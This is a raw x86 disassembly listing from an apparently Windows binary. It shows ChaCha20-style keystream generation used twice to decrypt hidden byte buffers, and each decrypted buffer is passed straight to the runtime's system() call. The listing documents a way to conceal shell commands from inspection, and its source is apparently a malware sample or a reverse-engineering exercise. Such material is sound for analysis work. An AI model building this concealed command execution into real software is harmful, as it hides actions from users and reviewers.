mov dword [esp + 0x1d8], 0x30
lea edi, [esp + 0xd4]
mov dword [esp + 0x1ec], 0x46b5a
rep movsd dword es:[edi], dword [esi]
xorps xmm0, xmm0
mov dword [esp + 0x1f0], 0x527e9
movlpd qword [esp + 0x1a4], xmm0
mov eax, 1
movlpd qword [esp + 0x1ac], xmm0
add esp, 4
movlpd qword [esp + 0x1b0], xmm0
movlpd qword [esp + 0x1b8], xmm0
movlpd qword [esp + 0x1c4], xmm0
movaps xmm0, xmmword [0x4085f0]
movups xmmword [esp + 0x1d8], xmm0
movsb byte es:[edi], byte [esi]
movaps xmm2, xmmword [esp + 0x1e0]
movaps xmm1, xmmword [esp + 0x1d0]
mov dword [esp + 0x1cc], 0
mov dword [esp + 0x58], eax
mov dword [esp + 0x21c], 2
mov dword [esp + 0x220], 0xbc91
mov dword [esp + 0x48], 0
nop word [eax + eax]
movq xmm0, qword [esp + 0x21c]
mov dword [esp + 0x1c0], eax
movq qword [esp + 0x1c4], xmm0
mov dword [esp + 0x190], 0x61707865
mov dword [esp + 0x194], 0x3320646e
mov dword [esp + 0x198], 0x79622d32
mov dword [esp + 0x19c], 0x6b206574
movaps xmm0, xmmword [esp + 0x190]
mov dword [esp + 0x1cc], 0x17920
movaps xmmword [esp + 0x150], xmm0
movaps xmm0, xmmword [esp + 0x1c0]
movaps xmmword [esp + 0x180], xmm0
mov eax, dword [esp + 0x18c]
mov edi, dword [esp + 0x188]
mov edx, dword [esp + 0x180]
mov dword [esp + 0x7c], eax
mov eax, dword [esp + 0x184]
movaps xmmword [esp + 0x160], xmm1
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x16c]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x168]
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x164]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x160]
movaps xmmword [esp + 0x1a0], xmm1
movaps xmmword [esp + 0x1b0], xmm2
movaps xmmword [esp + 0x170], xmm2
mov dword [esp + 0x50], 0xa
mov dword [esp + 0x20], eax
nop dword [eax + eax]
add eax, dword [esp + 0x150]
xor edx, eax
mov esi, dword [esp + 0x170]
mov ecx, edx
shl edx, 0x10
shr ecx, 0x10
or ecx, edx
mov edx, dword [esp + 0x20]
add esi, ecx
xor edx, esi
mov dword [esp + 0x20], edx
shl dword [esp + 0x20], 0xc
shr edx, 0x14
or edx, dword [esp + 0x20]
add eax, edx
mov dword [esp + 0x80], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0xc8], ecx
lea eax, [ecx + esi]
mov esi, dword [esp + 0x174]
mov dword [esp + 0xb4], eax
xor eax, edx
mov edx, dword [esp + 0x3c]
mov ecx, eax
shr ecx, 0x19
shl eax, 7
or ecx, eax
mov eax, dword [esp + 0x10]
add eax, dword [esp + 0x154]
xor edx, eax
mov dword [esp + 0xb0], ecx
mov ecx, edx
shl edx, 0x10
shr ecx, 0x10
or ecx, edx
mov edx, dword [esp + 0x10]
add esi, ecx
xor edx, esi
mov dword [esp + 0x10], edx
shl dword [esp + 0x10], 0xc
shr edx, 0x14
or edx, dword [esp + 0x10]
add eax, edx
mov dword [esp + 0xcc], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0xb8], ecx
lea eax, [ecx + esi]
mov esi, dword [esp + 0x178]
mov dword [esp + 0x20], eax
xor eax, edx
mov ecx, eax
shl eax, 7
shr ecx, 0x19
or ecx, eax
mov eax, dword [esp + 0x40]
add eax, dword [esp + 0x158]
xor edi, eax
mov dword [esp + 0x3c], ecx
mov ecx, edi
shl edi, 0x10
shr ecx, 0x10
or ecx, edi
mov edi, dword [esp + 0x40]
add esi, ecx
xor edi, esi
mov edx, edi
shl edi, 0xc
shr edx, 0x14
or edx, edi
add eax, edx
mov dword [esp + 0xbc], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0x98], ecx
lea edi, [ecx + esi]
mov esi, dword [esp + 0x17c]
mov eax, edi
xor eax, edx
mov edx, dword [esp + 0x7c]
mov ecx, eax
shl eax, 7
shr ecx, 0x19
or ecx, eax
mov eax, dword [esp + 0x38]
add eax, dword [esp + 0x15c]
xor edx, eax
mov dword [esp + 0x60], ecx
mov ecx, edx
shl edx, 0x10
shr ecx, 0x10
or ecx, edx
mov edx, dword [esp + 0x38]
add esi, ecx
xor edx, esi
mov dword [esp + 0x38], edx
shl dword [esp + 0x38], 0xc
shr edx, 0x14
or edx, dword [esp + 0x38]
add eax, edx
mov dword [esp + 0xa0], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
lea eax, [ecx + esi]
mov dword [esp + 0xc4], eax
xor eax, edx
mov edx, eax
shl eax, 7
shr edx, 0x19
or edx, eax
mov dword [esp + 0xc0], edx
mov edx, dword [esp + 0x80]
add edx, dword [esp + 0x3c]
mov eax, edx
xor eax, ecx
mov ecx, eax
shl eax, 0x10
shr ecx, 0x10
or ecx, eax
lea esi, [ecx + edi]
mov eax, esi
xor eax, dword [esp + 0x3c]
mov edi, eax
shl eax, 0xc
shr edi, 0x14
or edi, eax
lea eax, [edi + edx]
mov dword [esp + 0x150], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0x7c], ecx
mov dword [esp + 0x18c], ecx
lea eax, [ecx + esi]
mov ecx, dword [esp + 0xcc]
add ecx, dword [esp + 0x60]
mov dword [esp + 0x178], eax
xor eax, edi
ror eax, 0x19
mov dword [esp + 0x10], eax
mov dword [esp + 0x164], eax
mov eax, dword [esp + 0xc8]
xor eax, ecx
mov edi, eax
shl eax, 0x10
shr edi, 0x10
or edi, eax
mov edx, dword [esp + 0xc4]
add edx, edi
mov eax, edx
xor eax, dword [esp + 0x60]
mov esi, eax
shl eax, 0xc
shr esi, 0x14
or esi, eax
lea eax, [esi + ecx]
mov ecx, dword [esp + 0xbc]
xor edi, eax
mov dword [esp + 0x154], eax
add ecx, dword [esp + 0xc0]
mov eax, edi
shr eax, 0x18
shl edi, 8
or eax, edi
mov dword [esp + 0x60], eax
mov dword [esp + 0x180], eax
add eax, edx
mov dword [esp + 0x17c], eax
xor eax, esi
ror eax, 0x19
mov dword [esp + 0x40], eax
mov dword [esp + 0x168], eax
mov eax, dword [esp + 0xb8]
mov edx, dword [esp + 0xb4]
xor eax, ecx
mov edi, eax
shl eax, 0x10
shr edi, 0x10
or edi, eax
add edx, edi
mov eax, edx
xor eax, dword [esp + 0xc0]
mov esi, eax
shl eax, 0xc
shr esi, 0x14
or esi, eax
lea eax, [esi + ecx]
mov ecx, dword [esp + 0xa0]
xor edi, eax
add ecx, dword [esp + 0xb0]
mov dword [esp + 0x158], eax
mov eax, edi
shr eax, 0x18
shl edi, 8
or eax, edi
mov dword [esp + 0x3c], eax
mov dword [esp + 0x184], eax
add eax, edx
mov edx, dword [esp + 0x20]
mov dword [esp + 0x170], eax
xor eax, esi
ror eax, 0x19
mov dword [esp + 0x38], eax
mov dword [esp + 0x16c], eax
mov eax, dword [esp + 0x98]
xor eax, ecx
mov edi, eax
shl eax, 0x10
shr edi, 0x10
or edi, eax
add edx, edi
mov eax, edx
xor eax, dword [esp + 0xb0]
mov esi, eax
shl eax, 0xc
shr esi, 0x14
or esi, eax
lea eax, [esi + ecx]
xor edi, eax
mov dword [esp + 0x15c], eax
mov eax, edi
shl edi, 8
shr eax, 0x18
or eax, edi
mov edi, eax
mov dword [esp + 0x80], eax
mov dword [esp + 0x188], edi
lea eax, [edi + edx]
mov edx, dword [esp + 0x60]
mov dword [esp + 0x174], eax
xor eax, esi
ror eax, 0x19
sub dword [esp + 0x50], 1
mov dword [esp + 0x20], eax
mov dword [esp + 0x160], eax
jne 0x4044c0
xor ecx, ecx
nop
mov eax, dword [esp + ecx + 0x150]
add dword [esp + ecx + 0x190], eax
mov eax, dword [esp + ecx + 0x154]
add dword [esp + ecx + 0x194], eax
mov eax, dword [esp + ecx + 0x158]
add dword [esp + ecx + 0x198], eax
mov eax, dword [esp + ecx + 0x15c]
add dword [esp + ecx + 0x19c], eax
add ecx, 0x10
cmp ecx, 0x40
jb 0x404840
push 0x40
lea eax, [esp + 0x22c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor ecx, ecx
nop word [eax + eax]
mov al, byte [esp + ecx + 0x190]
mov byte [esp + ecx + 0x228], al
mov al, byte [esp + ecx + 0x191]
mov byte [esp + ecx + 0x229], al
mov al, byte [esp + ecx + 0x192]
mov byte [esp + ecx + 0x22a], al
mov al, byte [esp + ecx + 0x193]
mov byte [esp + ecx + 0x22b], al
add ecx, 4
cmp ecx, 0x40
jb 0x4048a0
mov edi, dword [esp + 0x48]
mov esi, 0x75
sub esi, edi
xor ecx, ecx
cmp esi, 0x40
jae 0x4048f8
test esi, esi
je 0x404922
jmp 0x4048fd
mov esi, 0x40
lea edx, [esp + 0xd0]
add edx, edi
nop word [eax + eax]
mov al, byte [esp + ecx + 0x228]
lea edx, [edx + 1]
xor byte [edx - 1], al
inc ecx
cmp ecx, esi
jb 0x404910
mov eax, dword [esp + 0x58]
add edi, 0x40
movaps xmm1, xmmword [esp + 0x1d0]
inc eax
movaps xmm2, xmmword [esp + 0x1e0]
mov dword [esp + 0x58], eax
mov dword [esp + 0x48], edi
cmp edi, 0x75
jb 0x4043d0
lea eax, [esp + 0xd0]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x408460]
mov eax, dword [0x4084a0]
add esp, 4
mov dword [esp + 0x110], eax
mov al, byte [0x4084a4]
movups xmmword [esp + 0xd0], xmm0
mov byte [esp + 0x114], al
mov eax, 1
movups xmm0, xmmword [0x408470]
mov dword [esp + 0x1d0], 0x30
mov dword [esp + 0x1d4], 0x30
movups xmmword [esp + 0xe0], xmm0
mov dword [esp + 0x1e8], 0x46b5a
movups xmm0, xmmword [0x408480]
mov dword [esp + 0x1ec], 0x527e9
mov dword [esp + 0x1cc], 0
movups xmmword [esp + 0xf0], xmm0
mov dword [esp + 0x40], eax
movups xmm0, xmmword [0x408490]
mov dword [esp + 0x21c], 2
mov dword [esp + 0x220], 0xbc91
movups xmmword [esp + 0x100], xmm0
mov dword [esp + 0x20], 0
xorps xmm0, xmm0
movlpd qword [esp + 0x1a0], xmm0
movlpd qword [esp + 0x1a8], xmm0
movlpd qword [esp + 0x1b0], xmm0
movlpd qword [esp + 0x1b8], xmm0
movlpd qword [esp + 0x1c4], xmm0
movaps xmm0, xmmword [0x4085f0]
movups xmmword [esp + 0x1d8], xmm0
movaps xmm2, xmmword [esp + 0x1e0]
movaps xmm1, xmmword [esp + 0x1d0]
nop dword [eax]
movq xmm0, qword [esp + 0x21c]
mov dword [esp + 0x1c0], eax
movq qword [esp + 0x1c4], xmm0
mov dword [esp + 0x190], 0x61707865
mov dword [esp + 0x194], 0x3320646e
mov dword [esp + 0x198], 0x79622d32
mov dword [esp + 0x19c], 0x6b206574
movaps xmm0, xmmword [esp + 0x190]
mov dword [esp + 0x1cc], 0x17920
movaps xmmword [esp + 0x150], xmm0
movaps xmm0, xmmword [esp + 0x1c0]
movaps xmmword [esp + 0x180], xmm0
mov eax, dword [esp + 0x18c]
movaps xmmword [esp + 0x160], xmm1
mov ecx, dword [esp + 0x16c]
mov edx, dword [esp + 0x160]
mov dword [esp + 0x7c], eax
mov eax, dword [esp + 0x188]
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x168]
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x184]
mov dword [esp + 0x50], ecx
mov ecx, dword [esp + 0x164]
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x180]
movaps xmmword [esp + 0x1a0], xmm1
movaps xmmword [esp + 0x1b0], xmm2
movaps xmmword [esp + 0x170], xmm2
mov dword [esp + 0x98], 0xa
mov dword [esp + 0x3c], ecx
nop dword [eax + eax]
mov esi, dword [esp + 0x150]
mov edi, dword [esp + 0x170]
add esi, edx
xor eax, esi
mov ecx, eax
shl eax, 0x10
shr ecx, 0x10
or ecx, eax
add edi, ecx
mov eax, edi
xor eax, edx
mov edx, eax
shl eax, 0xc
shr edx, 0x14
or edx, eax
lea eax, [edx + esi]
mov esi, dword [esp + 0x174]
mov dword [esp + 0x80], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0xc8], ecx
lea eax, [ecx + edi]
mov edi, dword [esp + 0x3c]
mov dword [esp + 0xb4], eax
xor eax, edx
mov edx, dword [esp + 0x58]
mov ecx, eax
shr ecx, 0x19
shl eax, 7
or ecx, eax
mov eax, dword [esp + 0x154]
add eax, edi
mov dword [esp + 0xb0], ecx
xor edx, eax
mov ecx, edx
shl edx, 0x10
shr ecx, 0x10
or ecx, edx
add esi, ecx
xor edi, esi
mov edx, edi
shl edi, 0xc
shr edx, 0x14
or edx, edi
mov edi, dword [esp + 0x50]
add eax, edx
mov dword [esp + 0xcc], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0xb8], ecx
lea eax, [ecx + esi]
mov esi, dword [esp + 0x178]
mov dword [esp + 0x38], eax
xor eax, edx
mov edx, dword [esp + 0x48]
mov ecx, eax
shr ecx, 0x19
shl eax, 7
or ecx, eax
mov eax, dword [esp + 0x158]
add eax, edi
mov dword [esp + 0x3c], ecx
xor edx, eax
mov ecx, edx
shl edx, 0x10
shr ecx, 0x10
or ecx, edx
add esi, ecx
xor edi, esi
mov edx, edi
shl edi, 0xc
shr edx, 0x14
or edx, edi
add eax, edx
mov dword [esp + 0xbc], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0x48], ecx
lea edi, [ecx + esi]
mov esi, dword [esp + 0x17c]
mov eax, edi
xor eax, edx
mov edx, dword [esp + 0x7c]
mov ecx, eax
shl eax, 7
shr ecx, 0x19
or ecx, eax
mov eax, dword [esp + 0x10]
add eax, dword [esp + 0x15c]
xor edx, eax
mov dword [esp + 0x60], ecx
mov ecx, edx
shl edx, 0x10
shr ecx, 0x10
or ecx, edx
mov edx, dword [esp + 0x10]
add esi, ecx
xor edx, esi
mov dword [esp + 0x10], edx
shl dword [esp + 0x10], 0xc
shr edx, 0x14
or edx, dword [esp + 0x10]
add eax, edx
mov dword [esp + 0xa0], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
lea eax, [ecx + esi]
mov dword [esp + 0xc4], eax
xor eax, edx
mov edx, eax
shl eax, 7
shr edx, 0x19
or edx, eax
mov dword [esp + 0xc0], edx
mov edx, dword [esp + 0x80]
add edx, dword [esp + 0x3c]
mov eax, edx
xor eax, ecx
mov ecx, eax
shl eax, 0x10
shr ecx, 0x10
or ecx, eax
lea esi, [ecx + edi]
mov eax, esi
xor eax, dword [esp + 0x3c]
mov edi, eax
shl eax, 0xc
shr edi, 0x14
or edi, eax
lea eax, [edi + edx]
mov dword [esp + 0x150], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0x7c], ecx
mov dword [esp + 0x18c], ecx
lea eax, [ecx + esi]
mov ecx, dword [esp + 0xcc]
add ecx, dword [esp + 0x60]
mov dword [esp + 0x178], eax
xor eax, edi
ror eax, 0x19
mov dword [esp + 0x3c], eax
mov dword [esp + 0x164], eax
mov eax, dword [esp + 0xc8]
xor eax, ecx
mov edx, eax
shr edx, 0x10
shl eax, 0x10
or edx, eax
mov esi, dword [esp + 0xc4]
add esi, edx
mov eax, esi
xor eax, dword [esp + 0x60]
mov edi, eax
shl eax, 0xc
shr edi, 0x14
or edi, eax
lea eax, [ecx + edi]
mov dword [esp + 0x154], eax
xor eax, edx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0x80], ecx
mov dword [esp + 0x180], ecx
lea eax, [ecx + esi]
mov ecx, dword [esp + 0xbc]
add ecx, dword [esp + 0xc0]
mov dword [esp + 0x17c], eax
xor eax, edi
ror eax, 0x19
mov esi, dword [esp + 0xb4]
mov dword [esp + 0x50], eax
mov dword [esp + 0x168], eax
mov eax, ecx
xor eax, dword [esp + 0xb8]
mov edx, eax
shl eax, 0x10
shr edx, 0x10
or edx, eax
add esi, edx
mov eax, esi
xor eax, dword [esp + 0xc0]
mov edi, eax
shl eax, 0xc
shr edi, 0x14
or edi, eax
lea eax, [ecx + edi]
mov dword [esp + 0x158], eax
xor eax, edx
mov ecx, eax
mov edx, dword [esp + 0x38]
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0x58], ecx
mov dword [esp + 0x184], ecx
lea eax, [ecx + esi]
mov ecx, dword [esp + 0xa0]
add ecx, dword [esp + 0xb0]
mov dword [esp + 0x170], eax
xor eax, edi
ror eax, 0x19
mov dword [esp + 0x10], eax
mov dword [esp + 0x16c], eax
mov eax, ecx
xor eax, dword [esp + 0x48]
mov edi, eax
shl eax, 0x10
shr edi, 0x10
or edi, eax
add edx, edi
mov eax, edx
xor eax, dword [esp + 0xb0]
mov esi, eax
shl eax, 0xc
shr esi, 0x14
or esi, eax
lea eax, [ecx + esi]
xor edi, eax
mov dword [esp + 0x15c], eax
mov eax, edi
shl edi, 8
shr eax, 0x18
or eax, edi
mov dword [esp + 0x48], eax
mov dword [esp + 0x188], eax
add eax, edx
mov edx, eax
mov dword [esp + 0x174], eax
mov eax, dword [esp + 0x80]
xor edx, esi
ror edx, 0x19
sub dword [esp + 0x98], 1
jne 0x404b50
mov dword [esp + 0x160], edx
xor ecx, ecx
mov eax, dword [esp + ecx + 0x150]
add dword [esp + ecx + 0x190], eax
mov eax, dword [esp + ecx + 0x154]
add dword [esp + ecx + 0x194], eax
mov eax, dword [esp + ecx + 0x158]
add dword [esp + ecx + 0x198], eax
mov eax, dword [esp + ecx + 0x15c]
add dword [esp + ecx + 0x19c], eax
add ecx, 0x10
cmp ecx, 0x40
jb 0x404ec1
push 0x40
lea eax, [esp + 0x22c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor ecx, ecx
nop word [eax + eax]
mov al, byte [esp + ecx + 0x190]
mov byte [esp + ecx + 0x228], al
mov al, byte [esp + ecx + 0x191]
mov byte [esp + ecx + 0x229], al
mov al, byte [esp + ecx + 0x192]
mov byte [esp + ecx + 0x22a], al
mov al, byte [esp + ecx + 0x193]
mov byte [esp + ecx + 0x22b], al
add ecx, 4
cmp ecx, 0x40
jb 0x404f20
mov edi, dword [esp + 0x20]
mov esi, 0x45
sub esi, edi
xor ecx, ecx
cmp esi, 0x40
jae 0x404f78
test esi, esi
je 0x404fa2
jmp 0x404f7d
mov esi, 0x40
lea edx, [esp + 0xd0]
add edx, edi
nop word [eax + eax]
mov al, byte [esp + ecx + 0x228]
lea edx, [edx + 1]
xor byte [edx - 1], al
inc ecx
cmp ecx, esi
jb 0x404f90
mov eax, dword [esp + 0x40]
add edi, 0x40
movaps xmm1, xmmword [esp + 0x1d0]
inc eax
movaps xmm2, xmmword [esp + 0x1e0]
mov dword [esp + 0x40], eax
mov dword [esp + 0x20], edi
cmp edi, 0x45
jb 0x404a60
lea eax, [esp + 0xd0]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [esp + 0x270]
add esp, 4
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00406825
mov esp, ebp
pop ebp
ret